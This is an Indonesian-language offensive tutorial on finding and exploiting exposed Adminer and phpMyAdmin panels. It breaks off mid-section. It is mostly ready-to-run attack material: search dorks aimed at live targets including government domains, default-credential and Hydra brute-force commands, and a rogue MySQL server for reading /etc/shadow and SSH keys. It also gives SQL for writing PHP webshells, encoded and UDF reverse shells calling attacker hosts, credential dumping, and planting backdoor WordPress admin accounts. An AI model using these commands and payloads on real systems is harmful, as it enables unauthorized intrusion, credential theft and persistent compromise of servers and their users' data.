Exposed Database Panels: Adminer, phpMyAdmin & pgAdmin

Eksploitasi panel database publik — Adminer rogue MySQL, phpMyAdmin LFI/RCE, webshell via SQL, pgAdmin RCE via COPY PROGRAM, PostgreSQL extension abuse (plpythonu, dblink, lo_import).
February 23, 2026 Reading: 32 min Authors:
  • Siti
Table of Contents

Daftar Isi


Bab 1 — Menemukan Panel yang Terekspos

1.1 Apa itu Adminer & phpMyAdmin

ToolDeskripsiFile
AdminerDatabase management dalam 1 file PHP. Support MySQL, PostgreSQL, SQLite, MS SQL, Oracleadminer.php (single file)
phpMyAdminWeb interface untuk MySQL/MariaDB. Lebih lengkap, lebih beratFolder /phpmyadmin/

Keduanya digunakan developer untuk mengelola database via browser. Masalahnya — sering lupa dihapus atau tidak dilindungi di production server.

1.2 Mengapa Sering Terekspos

  • Developer deploy untuk debugging, lupa hapus
  • Hosting shared (cPanel, DirectAdmin) otomatis install phpMyAdmin
  • Docker compose meng-expose port tanpa auth
  • Tidak ada firewall rule yang membatasi akses
  • .htaccess / nginx config tidak melindungi path

1.3 Dorking: Google

# Adminer
inurl:adminer.php
intitle:"Adminer" inurl:adminer
intitle:"Login - Adminer"
inurl:adminer.php "MySQL" "Login"
inurl:adminer.php ext:php

# phpMyAdmin
inurl:phpmyadmin intitle:"phpMyAdmin"
intitle:"phpMyAdmin" "Welcome to phpMyAdmin"
inurl:"/phpmyadmin/index.php"
inurl:pma intitle:phpMyAdmin
intitle:"phpMyAdmin" "Server: localhost"
intitle:"phpMyAdmin" "Log in" inurl:phpmyadmin

# Targeted (specific TLD/domain)
site:target.com inurl:adminer
site:target.com inurl:phpmyadmin
site:.id inurl:adminer.php
site:.go.id inurl:phpmyadmin

1.4 Dorking: Shodan

 1# Adminer
 2shodan search "Adminer" "Login" --fields ip_str,port,org
 3shodan search 'http.title:"Adminer" http.html:"Login"'
 4shodan search 'http.title:"Login - Adminer"'
 5
 6# phpMyAdmin
 7shodan search 'http.title:"phpMyAdmin"'
 8shodan search 'http.title:"phpMyAdmin" http.html:"Welcome"'
 9shodan search 'http.title:"phpMyAdmin" country:"ID"'
10
11# CLI bulk
12shodan download results 'http.title:"phpMyAdmin"'
13shodan parse --fields ip_str,port results.json.gz

1.5 Dorking: FOFA / Censys / ZoomEye

# FOFA (fofa.info)
title="Adminer" && body="Login"
title="phpMyAdmin" && country="ID"
body="adminer.php" && status_code="200"

# Censys (search.censys.io)
services.http.response.html_title: "phpMyAdmin"
services.http.response.html_title: "Adminer"

# ZoomEye (zoomeye.org)
title:"phpMyAdmin" +country:"ID"
title:"Adminer" +after:"2024-01-01"

1.6 Nuclei Templates

 1# Scan single target
 2nuclei -u https://target.com -t http/exposed-panels/adminer-panel-detect.yaml
 3nuclei -u https://target.com -t http/exposed-panels/phpmyadmin-panel.yaml
 4
 5# Scan dari file
 6nuclei -l targets.txt -t http/exposed-panels/ -tags panel
 7
 8# Scan semua exposed panel sekaligus
 9nuclei -l targets.txt -tags panel,phpmyadmin,adminer
10
11# Custom path bruteforce + detect
12nuclei -l targets.txt -t http/exposed-panels/ -t http/misconfiguration/

1.7 Manual Discovery via Path Bruteforce

Path umum yang perlu dicek:

Adminer:

/adminer.php
/adminer/
/adminer/adminer.php
/adminer-4.8.1.php
/adminer-4.7.8.php
/_adminer.php
/db.php
/database.php
/dbadmin.php
/sql.php
/admin/adminer.php
/tools/adminer.php
/vendor/adminer/adminer/adminer.php

phpMyAdmin:

/phpmyadmin/
/phpmyadmin/index.php
/pma/
/PMA/
/phpMyAdmin/
/phpMyAdmin/index.php
/mysql/
/myadmin/
/dbadmin/
/sql/
/admin/pma/
/admin/phpmyadmin/
/tools/phpmyadmin/
/cpanel/phpmyadmin/

Bruteforce dengan ffuf:

 1# Wordlist khusus db panels
 2cat > /tmp/dbpanels.txt << 'EOF'
 3adminer.php
 4adminer/
 5adminer/adminer.php
 6phpmyadmin/
 7phpMyAdmin/
 8pma/
 9PMA/
10myadmin/
11mysql/
12dbadmin/
13sql.php
14db.php
15database.php
16EOF
17
18ffuf -u https://target.com/FUZZ -w /tmp/dbpanels.txt -mc 200,301,302,401,403

Bab 2 — Eksploitasi Adminer

2.1 Versi & Kerentanan

VersiCVEKerentanan
< 4.7.9CVE-2021-21311SSRF via redirect
< 4.7.8-Rogue MySQL Server → arbitrary file read
< 4.6.3CVE-2018-7667SSRF
Semua versi-Login ke arbitrary MySQL server (by design)

Cek versi Adminer:

  • Biasanya tertulis di halaman login: “Adminer 4.8.1”
  • Atau di source HTML: <title>Login - Adminer</title>
  • Footer: “Adminer 4.x.x for MySQL”

2.2 Default / Weak Credentials

Adminer sendiri tidak punya credentials — dia login ke database server. Yang perlu dicoba:

# MySQL default
root : (kosong)
root : root
root : mysql
root : password
root : toor
admin : admin
mysql : mysql

# MariaDB (sering tanpa password di localhost)
root : (kosong)

# Hosting panels (cPanel dll)
# Username biasanya = nama database = nama cpanel user
# Format: prefix_dbname

Brute force:

1# Hydra terhadap Adminer form
2hydra -l root -P /usr/share/wordlists/rockyou.txt \
3  target.com http-post-form \
4  "/adminer.php:auth[driver]=server&auth[server]=localhost&auth[username]=^USER^&auth[password]=^PASS^&auth[db]=:F=Invalid credentials"

2.3 CVE-2021-21311 — SSRF

Adminer < 4.7.9 — bisa SSRF via redirect saat connect ke database server.

 1# 1. Setup redirect server di VPS attacker
 2# redirect.py
 3cat > /tmp/redirect.py << 'PYEOF'
 4from http.server import HTTPServer, BaseHTTPRequestHandler
 5class Handler(BaseHTTPRequestHandler):
 6    def do_GET(self):
 7        self.send_response(301)
 8        # Redirect ke internal service
 9        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
10        self.end_headers()
11HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
12PYEOF
13python3 /tmp/redirect.py
14
15# 2. Di Adminer, set server ke: attacker-ip
16#    Adminer akan follow redirect → SSRF ke internal

Target SSRF yang berguna:

http://127.0.0.1:6379/          → Redis
http://169.254.169.254/          → Cloud metadata (AWS/GCP)
http://127.0.0.1:9200/          → Elasticsearch
http://internal-host:8080/       → Internal web apps

2.4 Adminer File Read (Rogue MySQL Server)

Teknik paling powerful untuk Adminer < 4.7.8. Adminer akan mengirim file dari server target ke MySQL server yang kamu kontrol.

Cara kerja: MySQL protocol punya fitur LOAD DATA LOCAL INFILE — server bisa minta client (Adminer) mengirim file apapun.

 1# 1. Setup Rogue MySQL Server di VPS attacker
 2# Gunakan tool: https://github.com/allyshka/Rogue-MySql-Server
 3
 4git clone https://github.com/allyshka/Rogue-MySql-Server
 5cd Rogue-MySql-Server
 6
 7# Edit config — file apa yang mau dibaca dari target
 8# rogue_mysql_server.py → set filelist:
 9# /etc/passwd
10# /var/www/html/wp-config.php
11# /etc/shadow
12# /proc/self/environ
13
14python3 rogue_mysql_server.py
15
16# 2. Di halaman Adminer target:
17#    Server: attacker-ip
18#    Username: root
19#    Password: (apapun)
20#    Database: (kosong)
21#    Klik Login
22
23# 3. Adminer connect ke rogue server
24#    Rogue server minta LOAD DATA LOCAL INFILE
25#    Adminer kirim isi file dari server target
26#    File tersimpan di log rogue server

File yang menarik untuk dibaca:

# Web app config
/var/www/html/wp-config.php           # WordPress
/var/www/html/.env                     # Laravel/generic
/var/www/html/config/database.yml      # Rails
/var/www/html/application/config/database.php  # CodeIgniter
/var/www/html/app/etc/env.php          # Magento
/var/www/html/sites/default/settings.php  # Drupal

# System files
/etc/passwd
/etc/shadow                            # kalau Adminer jalan sebagai root
/etc/hostname
/proc/self/environ                     # environment variables
/proc/self/cmdline

# SSH keys
/root/.ssh/id_rsa
/home/www-data/.ssh/id_rsa

# Database config
/etc/mysql/debian.cnf                  # Debian MySQL default creds
/etc/my.cnf

2.5 Login tanpa Password (MySQL Empty Root)

Banyak MySQL/MariaDB yang dikonfigurasi tanpa password untuk root di localhost. Jika Adminer terekspos di server yang sama:

Server: localhost
Username: root
Password: (kosong)
Database: (kosong atau mysql)

Variasi:

Server: 127.0.0.1
Server: localhost:3306
Server: localhost:/var/run/mysqld/mysqld.sock

Jika berhasil login → lanjut ke section 2.6.

2.6 Post-Login: Database ke Shell

Setelah berhasil login ke database via Adminer:

a) Enumerasi Webroot Path

Sebelum menulis webshell, kamu harus tahu di mana document root web server. Jangan asal tebak — gunakan SQL untuk meraba path yang benar.

Dari MySQL variables & status:

 1-- Datadir (bukan webroot, tapi jadi referensi)
 2SELECT @@datadir;
 3-- /var/lib/mysql/
 4
 5-- Hostname (menunjukkan OS & kemungkinan distro)
 6SELECT @@hostname;
 7
 8-- Basedir MySQL
 9SELECT @@basedir;
10-- /usr/ (Debian/Ubuntu) atau /usr/local/mysql/ (manual install)
11
12-- OS yang dipakai
13SELECT @@version_compile_os;
14-- Linux, debian-linux-gnu, Win64, dll
15
16-- Plugin dir (menunjukkan struktur direktori server)
17SHOW VARIABLES LIKE 'plugin_dir';
18-- /usr/lib/mysql/plugin/ → kemungkinan Debian/Ubuntu
19-- /usr/lib64/mysql/plugin/ → kemungkinan CentOS/RHEL
20
21-- Tmpdir (fallback untuk write file)
22SELECT @@tmpdir;
23-- /tmp biasanya selalu writable
24
25-- Cek secure_file_priv
26SHOW VARIABLES LIKE 'secure_file_priv';
27-- Kosong = write kemana saja
28-- /var/lib/mysql-files/ = hanya bisa write ke sana
29-- NULL = tidak bisa write sama sekali

Baca file konfigurasi web server langsung (jika punya FILE privilege):

 1-- ========== Apache ==========
 2-- Debian/Ubuntu
 3SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
 4SELECT LOAD_FILE('/etc/apache2/sites-enabled/default-ssl.conf');
 5SELECT LOAD_FILE('/etc/apache2/apache2.conf');
 6
 7-- CentOS/RHEL
 8SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
 9SELECT LOAD_FILE('/etc/httpd/conf.d/ssl.conf');
10
11-- Cari DocumentRoot di output:
12-- DocumentRoot /var/www/html
13-- DocumentRoot /home/user/public_html
14
15-- ========== Nginx ==========
16SELECT LOAD_FILE('/etc/nginx/nginx.conf');
17SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
18SELECT LOAD_FILE('/etc/nginx/conf.d/default.conf');
19
20-- Cari root directive di output:
21-- root /var/www/html;
22-- root /usr/share/nginx/html;
23
24-- ========== cPanel ==========
25SELECT LOAD_FILE('/etc/apache2/conf/httpd.conf');
26SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
27-- DocumentRoot biasanya /home/<username>/public_html
28
29-- ========== Plesk ==========
30SELECT LOAD_FILE('/etc/apache2/plesk.conf.d/vhosts/*.conf');
31-- DocumentRoot /var/www/vhosts/<domain>/httpdocs
32
33-- ========== XAMPP / LAMP ==========
34SELECT LOAD_FILE('/opt/lampp/etc/httpd.conf');
35-- DocumentRoot /opt/lampp/htdocs

Baca file konfigurasi aplikasi (untuk temukan base path):

 1-- WordPress
 2SELECT LOAD_FILE('/var/www/html/wp-config.php');
 3
 4-- Laravel (.env)
 5SELECT LOAD_FILE('/var/www/html/.env');
 6SELECT LOAD_FILE('/var/www/laravel/.env');
 7
 8-- CMS config umum
 9SELECT LOAD_FILE('/var/www/html/configuration.php');       -- Joomla
10SELECT LOAD_FILE('/var/www/html/sites/default/settings.php'); -- Drupal
11SELECT LOAD_FILE('/var/www/html/config/config.php');       -- Generic
12
13-- Proc cmdline (lihat proses web server dan path)
14SELECT LOAD_FILE('/proc/self/cmdline');
15
16-- /etc/passwd (cari user web & home dir)
17SELECT LOAD_FILE('/etc/passwd');
18-- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19-- → webroot kemungkinan di /var/www/ atau /var/www/html/

Probing path via error — tulis ke berbagai lokasi, cek mana yang berhasil:

 1-- Tulis test file ke kandidat path, cek response
 2SELECT 'test' INTO OUTFILE '/var/www/html/test.txt';
 3SELECT 'test' INTO OUTFILE '/var/www/test.txt';
 4SELECT 'test' INTO OUTFILE '/usr/share/nginx/html/test.txt';
 5SELECT 'test' INTO OUTFILE '/home/www/public_html/test.txt';
 6SELECT 'test' INTO OUTFILE '/srv/www/htdocs/test.txt';
 7SELECT 'test' INTO OUTFILE '/opt/lampp/htdocs/test.txt';
 8
 9-- Cek masing-masing:
10-- curl -s https://target.com/test.txt
11-- Yang return "test" = webroot ditemukan

Dari database itu sendiri (jika ada CMS terinstall):

 1-- WordPress: ambil siteurl
 2SELECT option_value FROM wp_options WHERE option_name = 'siteurl';
 3SELECT option_value FROM wp_options WHERE option_name = 'home';
 4-- https://target.com → webroot biasanya /var/www/html/
 5
 6-- WordPress: cek upload path
 7SELECT option_value FROM wp_options WHERE option_name = 'upload_path';
 8
 9-- Joomla
10SELECT value FROM jos_extensions WHERE name = 'com_media';
11
12-- Laravel: ambil path dari sessions atau cache table
13SELECT payload FROM sessions LIMIT 1;
14
15-- Drupal
16SELECT value FROM variable WHERE name = 'file_public_path';

Tabel referensi webroot berdasarkan OS & web server:

OS / ServerWebroot Path
Ubuntu/Debian + Apache/var/www/html/
Ubuntu/Debian + Nginx/var/www/html/ atau /usr/share/nginx/html/
CentOS/RHEL + Apache/var/www/html/
CentOS/RHEL + Nginx/usr/share/nginx/html/
openSUSE + Apache/srv/www/htdocs/
Arch Linux/srv/http/
FreeBSD + Apache/usr/local/www/apache24/data/
cPanel/home/<user>/public_html/
Plesk/var/www/vhosts/<domain>/httpdocs/
XAMPP/opt/lampp/htdocs/
WAMP (Windows)C:/wamp64/www/
MAMP (macOS)/Applications/MAMP/htdocs/
Docker (bitnami)/opt/bitnami/wordpress/ atau /app/
Laravel/var/www/html/public/ (symlink ke storage)
Symfony/var/www/html/public/
CodeIgniter/var/www/html/

Subdirectory yang sering writable (lebih aman untuk write):

 1-- Upload directories (biasanya chmod 777 atau writable oleh www-data)
 2SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php';
 3SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/wp-content/uploads/shell.php';
 4SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/images/shell.php';
 5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/media/shell.php';
 6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmp/shell.php';
 7SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cache/shell.php';
 8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/assets/shell.php';
 9SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/storage/shell.php';
10SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/public/uploads/shell.php';

b) SELECT INTO OUTFILE (Webshell)

Setelah tahu webroot, tulis webshell:

1-- Cek privilege
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Tulis webshell
5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Akses: https://target.com/shell.php?cmd=id

File Ownership & Permission:

File yang ditulis MySQL (INTO OUTFILE maupun General Log) dimiliki oleh user OS yang menjalankan proses mysqld:

DistroUserGroup
Debian/Ubuntumysqlmysql
RHEL/CentOSmysqlmysql
Alpine/Dockermysqlmysql

INTO OUTFILE membuat file dengan permission 0666 (rw-rw-rw-) — world-readable, sehingga web server (www-data, apache, nginx) tetap bisa membaca dan meng-execute file PHP tersebut.

Kondisi yang bisa menyebabkan gagal:

KondisiPenjelasanCek
secure_file_privMembatasi direktori tujuan writeSHOW VARIABLES LIKE 'secure_file_priv';
AppArmor/SELinuxPolicy blokir mysqld menulis ke luar /var/lib/mysql/aa-status atau getenforce
Directory permissionDirektori target harus writable oleh user mysql (minimal o+wx)Coba tulis ke beberapa path
File sudah adaINTO OUTFILE menolak overwrite file existingGunakan nama file unik
Read-only filesystemContainer atau mount read-onlyCari direktori writable (/tmp, /var/tmp)
1-- Verifikasi: cek user yang menjalankan MySQL
2SELECT USER(), CURRENT_USER();
3SHOW VARIABLES LIKE 'secure_file_priv';
4
5-- Jika secure_file_priv tidak kosong, file hanya bisa ditulis ke direktori itu
6-- Jika nilainya NULL → INTO OUTFILE dinonaktifkan sepenuhnya
7-- Jika nilainya kosong ('') → bebas tulis kemana saja

Tips: Jika INTO OUTFILE diblokir, gunakan General Log trick (lihat bagian berikutnya) — file yang ditulis via General Log memiliki ownership dan permission yang sama (mysql:mysql), tapi tidak dibatasi oleh secure_file_priv.

Masalah Quote pada Payload Panjang:

Payload sederhana seperti di atas mudah ditulis. Tapi jika PHP payload lebih kompleks (file manager, reverse shell, dll), quote akan bentrok antara SQL string dan PHP string. Berikut teknik encoding untuk menghindari masalah ini:

Teknik 1: Hex Encoding (Paling Reliable)

MySQL bisa menulis raw bytes dari hex literal — tanpa quote sama sekali:

1-- Contoh: <?php system($_GET["cmd"]); ?>
2-- Konversi ke hex:
3SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO OUTFILE '/var/www/html/shell.php';

Untuk payload panjang, generate hex string dari terminal:

1# Dari file PHP lokal
2xxd -p payload.php | tr -d '\n' | sed 's/^/0x/'
3
4# Inline one-liner
5echo -n '<?php eval($_POST["x"]); ?>' | xxd -p | tr -d '\n' | sed 's/^/0x/'

Contoh payload kompleks (reverse shell):

1-- <?php $sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
2SELECT 0x3C3F70687020247363636B3D66736F636B6F70656E282231302E31302E31342E31222C34343434293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B203F3E
3INTO OUTFILE '/var/www/html/rs.php';

Teknik 2: CHAR() Function

Bangun string dari ASCII code — berguna untuk payload pendek-menengah:

1-- <?php system($_GET["cmd"]); ?>
2SELECT CHAR(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62)
3INTO OUTFILE '/var/www/html/shell.php';

Generate CHAR sequence dari terminal:

1echo -n '<?php system($_GET["cmd"]); ?>' | od -An -td1 | tr ' ' ',' | sed 's/^,//;s/,$//'

Teknik 3: CONCAT() + Escape

Pecah string menjadi bagian-bagian untuk menghindari bentrok quote:

1-- Gunakan single quote di SQL, escape internal single quote
2SELECT CONCAT(
3  '<?php ',
4  'eval(base64_decode($_POST[',
5  CHAR(34), 'x', CHAR(34),  -- double quote via CHAR()
6  ']));',
7  ' ?>'
8) INTO OUTFILE '/var/www/html/shell.php';

Teknik 4: Base64 Wrapper (Payload Panjang)

Tulis PHP kecil yang decode+eval base64 — payload asli disimpan sebagai base64 string tanpa karakter bermasalah:

1-- Wrapper kecil yang decode payload asli
2SELECT '<?php eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpe2VjaG8gIjxwcmU+IjtzeXn0ZW0oJF9SRVFVRVNUWydjbWQnXSk7ZWNobyAiPC9wcmU+Ijtka2UoKTt9")); ?>'
3INTO OUTFILE '/var/www/html/shell.php';

Generate base64 dari terminal:

1# Encode payload PHP (tanpa tag <?php ?>)
2echo -n 'if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";die();}' | base64 -w0

Lalu masukkan ke wrapper:

1-- Wrapper tidak mengandung double-quote jadi aman
2SELECT CONCAT('<?php eval(base64_decode("', 'PASTE_BASE64_HERE', '")); ?>') INTO OUTFILE '/var/www/html/shell.php';

Teknik 5: Hex + UNHEX() untuk General Log

Jika menggunakan General Log trick, hex juga bisa dipakai:

1SET global general_log = ON;
2SET global general_log_file = '/var/www/html/shell.php';
3
4-- Query hex langsung masuk ke log sebagai binary
5SELECT UNHEX('3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E');
6
7SET global general_log = OFF;

Catatan: General Log menulis query apa adanya ke file, jadi UNHEX() akan menulis hasil decode (raw PHP) ke log file.

Ringkasan Teknik Encoding:

TeknikKelebihanKekurangan
Hex (0x...)Tanpa quote, paling reliableString panjang, susah dibaca
CHAR()Mudah dipahamiVerbose untuk payload panjang
CONCAT()Fleksibel, bisa mix teknikPerlu hati-hati struktur
Base64 wrapperPayload berapapun panjangnya amanButuh eval() di PHP
UNHEX()Untuk General Log trickHanya untuk General Log

Tips: Untuk payload production, gunakan Hex Encoding (Teknik 1) — paling reliable, tidak ada masalah quote, dan bekerja di semua versi MySQL/MariaDB.

b) General Log Trick

Jika INTO OUTFILE diblokir oleh secure_file_priv:

1-- Aktifkan general log dan arahkan ke webroot
2SET global general_log = ON;
3SET global general_log_file = '/var/www/html/shell.php';
4
5-- Jalankan query yang mengandung PHP
6SELECT '<?php system($_GET["cmd"]); ?>';
7
8-- Matikan log
9SET global general_log = OFF;

c) UDF (User Defined Function) — RCE langsung

 1-- Cek plugin dir
 2SHOW VARIABLES LIKE 'plugin_dir';
 3-- Biasanya /usr/lib/mysql/plugin/
 4
 5-- Upload UDF shared library ke plugin dir
 6-- (butuh binary .so yang kompatibel)
 7
 8-- Buat function
 9CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
10SELECT sys_exec('id > /tmp/output.txt');
11SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Bab 3 — Eksploitasi phpMyAdmin

3.1 Versi & Kerentanan

VersiCVEKerentanan
4.8.0 - 4.8.1CVE-2018-12613Local File Inclusion
4.0.x - 4.6.xCVE-2016-5734RCE via preg_replace /e modifier
4.8.xCVE-2018-19968LFI via transformation
2.x - 4.0.xCVE-2009-1151RCE via config setup script
< 5.1.2CVE-2023-25727XSS to RCE
Semua-Weak/default credentials + SQL exploitation

Cek versi: biasanya terlihat di halaman login atau footer setelah login.

3.2 Default / Weak Credentials

# Default
root : (kosong)
root : root
root : mysql
root : password
pma : (kosong)
phpmyadmin : (kosong)

# cPanel default (username = cpanel username)
# Plesk default
admin : admin_password_dari_panel

# Docker default (bitnami/phpmyadmin)
root : (kosong)
root : root

Brute force:

1hydra -l root -P /usr/share/wordlists/rockyou.txt \
2  target.com http-post-form \
3  "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:F=Cannot log in"

3.3 CVE-2018-12613 — Local File Inclusion

phpMyAdmin 4.8.0 - 4.8.1 — LFI tanpa autentikasi.

1# Baca /etc/passwd
2curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd"
3
4# Baca config phpMyAdmin (berisi credentials)
5curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/phpmyadmin/config-db.php"
6
7# Baca wp-config.php
8curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../var/www/html/wp-config.php"

LFI to RCE (via PHP session):

1# 1. Login ke phpMyAdmin (dengan creds apapun)
2# 2. Execute SQL query yang mengandung PHP code:
3SELECT '<?php system($_GET["cmd"]); ?>'
4
5# 3. Query tersimpan di session file
6# 4. Include session file via LFI:
7curl -sk -b "phpMyAdmin=SESSION_ID" \
8  "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../tmp/sess_SESSION_ID&cmd=id"

3.4 CVE-2016-5734 — RCE via preg_replace

phpMyAdmin 4.0.x - 4.6.x — RCE jika sudah login.

1# Gunakan exploit script
2python3 cve-2016-5734.py -u root -p "" \
3  "https://target.com/phpmyadmin/" \
4  -c "system('id')"

Manual via SQL:

1-- Di phpMyAdmin SQL tab, jalankan:
2-- Buat table dengan payload
3CREATE TABLE IF NOT EXISTS pma_rce (code TEXT);
4INSERT INTO pma_rce VALUES ('<?php system($_GET["cmd"]); ?>');
5
6-- Trigger via export/search dengan regex /e modifier (versi lama PHP)

3.5 Post-Login: SQL Query ke Webshell

Setelah login ke phpMyAdmin, bisa langsung jalankan SQL:

1-- Cek privilege
2SHOW GRANTS;
3
4-- Cek secure_file_priv
5SHOW VARIABLES LIKE 'secure_file_priv';
6
7-- Jika kosong → tulis webshell
8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

3.6 Post-Login: SELECT INTO OUTFILE

Sama seperti Adminer, tapi via phpMyAdmin interface:

  1. Buka tab SQL
  2. Jalankan:
1SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Jika secure_file_priv memblokir:

1-- Cek nilainya
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Jika ada path misal /var/lib/mysql-files/
5-- Tulis ke sana, lalu akses via LFI lain atau symlink
6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';

Alternatif path webroot yang umum:

 1-- Apache
 2'/var/www/html/shell.php'
 3'/var/www/shell.php'
 4'/srv/www/htdocs/shell.php'
 5
 6-- Nginx
 7'/usr/share/nginx/html/shell.php'
 8'/var/www/html/shell.php'
 9
10-- cPanel
11'/home/username/public_html/shell.php'
12
13-- Plesk
14'/var/www/vhosts/domain.com/httpdocs/shell.php'
15
16-- XAMPP / WAMP
17'/opt/lampp/htdocs/shell.php'
18'C:/xampp/htdocs/shell.php'

3.7 Post-Login: General Log Trick

Jika INTO OUTFILE tidak bisa:

 1-- Cek status general log saat ini
 2SHOW VARIABLES LIKE 'general_log%';
 3
 4-- Arahkan log ke webroot
 5SET global general_log_file = '/var/www/html/backdoor.php';
 6SET global general_log = ON;
 7
 8-- Trigger log entry berisi PHP
 9SELECT '<?php system($_GET["cmd"]); ?>';
10
11-- Matikan
12SET global general_log = OFF;

Akses: https://target.com/backdoor.php?cmd=id

Catatan: Butuh privilege SUPER atau SET untuk mengubah global variables.


Bab 4 — Post-Exploitation

4.1 Dari Database Access ke Data Dump

Setelah login ke database panel, prioritas pertama — dump data sensitif:

 1-- List semua database
 2SHOW DATABASES;
 3
 4-- Cari tabel user/credentials
 5SELECT table_schema, table_name FROM information_schema.tables
 6WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%'
 7   OR table_name LIKE '%account%' OR table_name LIKE '%login%'
 8   OR table_name LIKE '%credential%' OR table_name LIKE '%member%';
 9
10-- Dump user table (contoh WordPress)
11SELECT user_login, user_pass, user_email FROM wp_users;
12
13-- Dump user table (contoh Laravel)
14SELECT name, email, password FROM users;
15
16-- Cari kolom yang mengandung password/secret
17SELECT table_schema, table_name, column_name FROM information_schema.columns
18WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%'
19   OR column_name LIKE '%token%' OR column_name LIKE '%key%'
20   OR column_name LIKE '%credit_card%' OR column_name LIKE '%ssn%';
21
22-- Export via phpMyAdmin: Database → Export → SQL/CSV
23-- Export via Adminer: Select → Export

4.2 Dari Database ke Shell (RCE)

Prioritas kedua — dapatkan shell di server:

Metode 1: INTO OUTFILE → webshell         (butuh FILE privilege + secure_file_priv kosong)
Metode 2: General Log → webshell           (butuh SUPER privilege)
Metode 3: UDF → system command             (butuh FILE + INSERT + plugin dir writable)
Metode 4: Rogue MySQL (Adminer) → file read → cari creds → SSH/login panel

Cek privilege kamu:

 1-- Semua privilege
 2SHOW GRANTS;
 3SHOW GRANTS FOR CURRENT_USER();
 4
 5-- Cek user & host
 6SELECT user(), current_user();
 7
 8-- Cek apakah FILE privilege ada
 9SELECT privilege_type FROM information_schema.user_privileges
10WHERE grantee = CONCAT("'", REPLACE(CURRENT_USER(), '@', "'@'"), "'")
11  AND privilege_type = 'FILE';

4.3 Privilege Escalation dari MySQL User

Jika hanya punya akses database user biasa (bukan root):

 1-- Cek semua user MySQL
 2SELECT user, host, authentication_string FROM mysql.user;
 3-- Jika bisa baca tabel ini → crack hash → login sebagai root
 4
 5-- MySQL 5.x hash = SHA1(SHA1(password))
 6-- Crack dengan hashcat:
 7-- hashcat -m 300 hash.txt rockyou.txt
 8
 9-- Cek user dengan GRANT ALL
10SELECT * FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

Dari database credentials ke system access:

1-- Baca MySQL config (mungkin ada password)
2SHOW VARIABLES LIKE '%password%';
3
4-- Baca replication credentials
5SHOW SLAVE STATUS\G
6-- Master_User + password bisa dipakai ke server lain

4.4 Pivot ke Aplikasi Web

Setelah punya akses database, bisa take over aplikasi web yang menggunakan DB tersebut:

WordPress

 1-- Ganti password admin
 2UPDATE wp_users SET user_pass = MD5('hacked123') WHERE user_login = 'admin';
 3
 4-- Atau buat admin baru
 5INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status)
 6VALUES ('backdoor', MD5('hacked123'), 'hacker@test.com', NOW(), 0);
 7
 8INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
 9VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
10
11INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
12VALUES (LAST_INSERT_ID(), 'wp_user_level', '10');
13
14-- Setelah login WP admin → Appearance → Theme Editor → edit 404.php → webshell

Laravel

1-- Laravel pakai bcrypt, generate hash dulu:
2-- php -r "echo password_hash('hacked123', PASSWORD_BCRYPT);"
3-- Hasilnya: $2y$10$xxx...
4
5UPDATE users SET password = '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi'
6WHERE email = 'admin@target.com';
7-- Password: password (ini default hash dari Laravel factory)

Drupal

1-- Drupal 8/9/10 pakai Phpass
2-- Generate: php -r "echo \Drupal\Core\Password\PhpassHashedPassword::hash('hacked123');"
3
4UPDATE users_field_data SET pass = '$S$DxxxxxxHASHxxxxxx' WHERE uid = 1;

Custom Application

 1-- Cari tipe hash yang dipakai
 2SELECT password FROM users LIMIT 1;
 3
 4-- MD5 (32 char hex)
 5UPDATE users SET password = MD5('hacked123') WHERE username = 'admin';
 6
 7-- SHA256
